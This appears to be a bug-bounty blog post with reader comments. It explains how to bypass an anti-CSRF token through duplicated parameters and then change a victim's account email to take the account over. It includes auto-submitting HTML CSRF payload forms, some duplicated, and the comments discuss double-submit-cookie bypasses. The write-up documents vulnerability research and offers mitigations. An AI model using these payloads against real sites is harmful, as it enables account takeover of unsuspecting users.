Account Compromise & Anti CSRF Token Bypass by Chaining Reflected HPP & Stored HPP Vulnerabilities
While researching and working on bug bounties I have found that by using Reflected HTTP Parameter Pollution vulnerability we can bypass Anti-CSRF token validation and can execute CSRF and after that using the CSRF we can execute the Stored HPP vulnerabilty and can compromise any victims account if that site is vulnerable to these attacks.
The 1st challenge was to execute the CSRF attack by bypassing the Anti-CSRF token validation. I have found that using Reflected HTTP Parameter Pollution vulnerability we can bypass the CSRF token validation even when the token is properly getting validated on server-side.
The actual
rootcause of this vulnerability existence is that if the Anti-CSRF token parameter is used 2 times in a request then the 2nd Anti-CSRF token parameter value(the value will be attacker desired) is getting accepted and validated on the server-side instead of the 1st Anti-CSRF token. One more important point is that the if we try to use any other users CSRF token or old used CSRF token or any random CSRF token value using single CSRF token parameter then it was getting denied by the server and the request is getting blocked as the Anti-CSRF token was properly getting validated on the server-side.
The 2nd Challenge was to execute the Stored HTTP Parameter attack by finding the email parameter name and editing it with attackers email id. I have found that using CSRF vulnerability we can execute the Stored HPP vulnerability so using it we can edit the victims account email id to attackers email id but for that the attacker has to find the email id parameter name, so to find it the attacker can guess that parameter name, can fuzz it and can find the parameter name by using the forget password, reset password or login page Urls.
The
actual
rootcause of this vulnerability existence is that if the email id parameter is added with the attackers email id in the request using the CSRF vulnerability then the uneditable email id of victims account is getting edited or changed with the attackers email id.
In this way the attacker can easily change the victims account login email id and he has to confirm the changed email id by logggin into his email id and by clicking on the email confirmation link. Once the attackers email id is confirmed into the victims account, then the attacker can use the forget password option to reset the victims account password and after that attacker can change the victims account password and can compromie his account.
In this way the attacker can easily change the victims account login email id and he has to confirm the changed email id by logggin into his email id and by clicking on the email confirmation link. Once the attackers email id is confirmed into the victims account, then the attacker can use the forget password option to reset the victims account password and after that attacker can change the victims account password and can compromie his account.
Steps to execute this attack are as following:
1. First copy the actual form submission request.
Actual Form Submission Request with Original Anti-CSRF Token Parameter Value:
<html>
<head>
</head>
<body onload=document.forms[0].submit();>
<form action="https://www.site.com/profile/account_information/edit.htm" method="POST" enctype="multipart/form-data">
<input type="hidden" name="CSRF_Token" value="l11l1m1m1n2h4n4m6n67ll8m5m43m2nb2m22b2n2babsvxcstta241" />
<input type="hidden" name="firstname" value="ajay" />
<input type="hidden" name="lastname" value="negi" />
</form>
</body>
</html>
<head>
</head>
<body onload=document.forms[0].submit();>
<form action="https://www.site.com/profile/account_information/edit.htm" method="POST" enctype="multipart/form-data">
<input type="hidden" name="CSRF_Token" value="l11l1m1m1n2h4n4m6n67ll8m5m43m2nb2m22b2n2babsvxcstta241" />
<input type="hidden" name="firstname" value="ajay" />
<input type="hidden" name="lastname" value="negi" />
</form>
</body>
</html>
2. After that add the same Anti-CSRF token parameter name again with any random value as token.
CSRF Token Bypass Via Reflected HPP (Modified Form Submission Request after adding 2nd Anti-CSRF Token Parameter Value):
<html>
<head>
</head>
<body onload=document.forms[0].submit();>
<form action="https://www.site.com/profile/account_information/edit.htm" method="POST" enctype="multipart/form-data">
<input type="hidden" name="CSRF_Token" value="l11l1m1m1n2h4n4m6n67ll8m5m43m2nb2m22b2n2babsvxcstta111" />
<input type="hidden" name="CSRF_Token" value="absbsbssgsgsgsgg1g1g1g11g1g12g2g2g2g1gg1g1g1g1gh1hhg1h" />
<input type="hidden" name="firstname" value="ajay" />
<input type="hidden" name="lastname" value="negi" />
</form>
</body>
</html>
3. Now add the Email ID parameter value with the attackers email id.
4. Then send this crafted CSRF payload code as a link to the victim.
5. As the victim executes that CSRF payload contianing link the victims account email id will be changed and the attack will recieve an email to confirm his email after confirming it the attacker can use the forget password option to reset the and compromise the victims account.
Account Compromise & Anti CSRF Token Bypass by Chaining Reflected HTTP Parameter Pollution CSRF & Stored HPP Vulnerabilities (Modified Form Submission Request after adding 2nd Anti-CSRF Token Parameter Value and Email Parameter Value):
<html>
<head>
</head>
<body onload=document.forms[0].submit();>
<form action="https://www.site.com/profile/account_information/edit.htm" method="POST" enctype="multipart/form-data">
<input type="hidden" name="CSRF_Token" value="l11l1m1m1n2h4n4m6n67ll8m5m43m2nb2m22b2n2babsvxcstta111" />
<input type="hidden" name="CSRF_Token" value="absbsbssgsgsgsgg1g1g1g11g1g12g2g2g2g1gg1g1g1g1gh1hhg1h" />
<input type="hidden" name="firstname" value="ajay" />
<input type="hidden" name="lastname" value="negi" />
<input type="hidden" name="EmailID" value="attackertesting@gmail.com" />
</form>
</body>
</html>
Impact:
<head>
</head>
<body onload=document.forms[0].submit();>
<form action="https://www.site.com/profile/account_information/edit.htm" method="POST" enctype="multipart/form-data">
<input type="hidden" name="CSRF_Token" value="l11l1m1m1n2h4n4m6n67ll8m5m43m2nb2m22b2n2babsvxcstta111" />
<input type="hidden" name="CSRF_Token" value="absbsbssgsgsgsgg1g1g1g11g1g12g2g2g2g1gg1g1g1g1gh1hhg1h" />
<input type="hidden" name="firstname" value="ajay" />
<input type="hidden" name="lastname" value="negi" />
<input type="hidden" name="EmailID" value="attackertesting@gmail.com" />
</form>
</body>
</html>
Impact:
Anti-CSRF token validation can be bypassed and uneditable account login email is can be changed. This can lead
to account compromise.
Recommendation:
CSRF token shall be properly validated on server-side and put method can also be used instead of post.
Filtering of all incoming sharing requests that include duplicate parameters.
So in this way, using this multiple vulnerabilties chaining one can bypass Anti-CSRF token validation and can also compromise the victims account also these techniques can be used to find same type of vulnerabilities on different websites.
Suggestions and Feedbacks are welcome.
Filtering of all incoming sharing requests that include duplicate parameters.
So in this way, using this multiple vulnerabilties chaining one can bypass Anti-CSRF token validation and can also compromise the victims account also these techniques can be used to find same type of vulnerabilities on different websites.
Suggestions and Feedbacks are welcome.
Great find bro, i was also hunting and got one method where if the csrf token in the cookie and post request are getting matched, the server successfully modified the response and if both are different 401 unauthorized message sent by the server. unfortunately i got only 600$ :(
ReplyDeleteAre you talking About Double Submit Cookies Configuration ? Have you any method of bypassing it if so then....... I'm watching TheBigManCave .......... :D !!!
Delete@rishi yeah, it was a case of classic double submit cookies, easily by-passable ;)
ReplyDelete@Nikhil Srivastava Thanks bro :).....gud to know that u were also hunting and though its a technique were the CSRF token is validated by comparing the cookies which contains the csrf token(which is generated by the server) the body parameter values which contains the csrf token if both the value are same then one can do csrf....but to exploit it one has to overwrite the cookie value with the ur desired token value an that same value the body csrf parameter shall contains it real-world scenario these kinda of exploitation need multiple vulnerabilities chaining and many times these are exploitable......btw congrats for the bounty......do share us how u exploited it :)
ReplyDelete@ negi sir ...
Deletewebsite using method of comparing CSRF token in cookie and CSRF token in parameter value .. we can do CSRF if both value is same. But in real world scenario ... how an attacker would know the csrf token in cookie of victims browser.?????
reply ASAP
this helped a lottt........expecting more techniques from Ajay bro's side............
ReplyDeleteHi Ajay,
ReplyDeleteI read through your article on HPP to bypass Anti-CSRF tokens present in web forms. The article states that the actual root cause of this vulnerability existence is that if the Anti-CSRF token parameter is used 2 times in a request then the 2nd Anti-CSRF token parameter value(the value will be attacker desired) is getting accepted and validated on the server-side instead of the 1st Anti-CSRF token. Now since in CSRF, a attacker crafts a page on his registered site which I see you have crafted in the last form where 2 Anti-CSRF tokens are present and this same crafted page is sent to user via crafted email / forum / link so that the victim clicks on this. I would like to understand that when in this crafted page the attacker has put any random anti-csrf token, how will the server validate the CSRF token when the page is accessed by victim. Since the victim browser will have a random CSRF token which will be different from the 2 CSRF tokens which attacker will put in the crafted page. Please help me explain the fact regarding the validation of CSRF token on server side.
@Kabir I will suggest u to 1st go through abt hpp & csrf vuls....in that vuls the 2nd parameter is accepted & validated instead of the 1st also its a kinda misconfiguration of token validation on server-side...the actual parameter was getting validated on server-side how it was getting validated is one hv to find out via experimentation....as in real world scenarios u won't be having the server-side code so u can't codereview or understand the actual codebase details....i will share my more detailed analysis on these type of csrf token bypass techniques very soon...this technique will work on certain conditions like the web app shall be vul to hpp also the type of validation is implemented an whether is properly implementaed or not...an many more things....it will not work on all apps it depends .....also it can hv some impact on many web app not all.....it depends on many things it can be technology also misconfiguration also hpp vuls also the way the validation is done(depends on dev logics) its can be a combination of all these an many more :)
ReplyDelete@ Negi Sir
ReplyDeleteif the server doesn't accept the second csrf token ....can we supply more with the same name ????
:D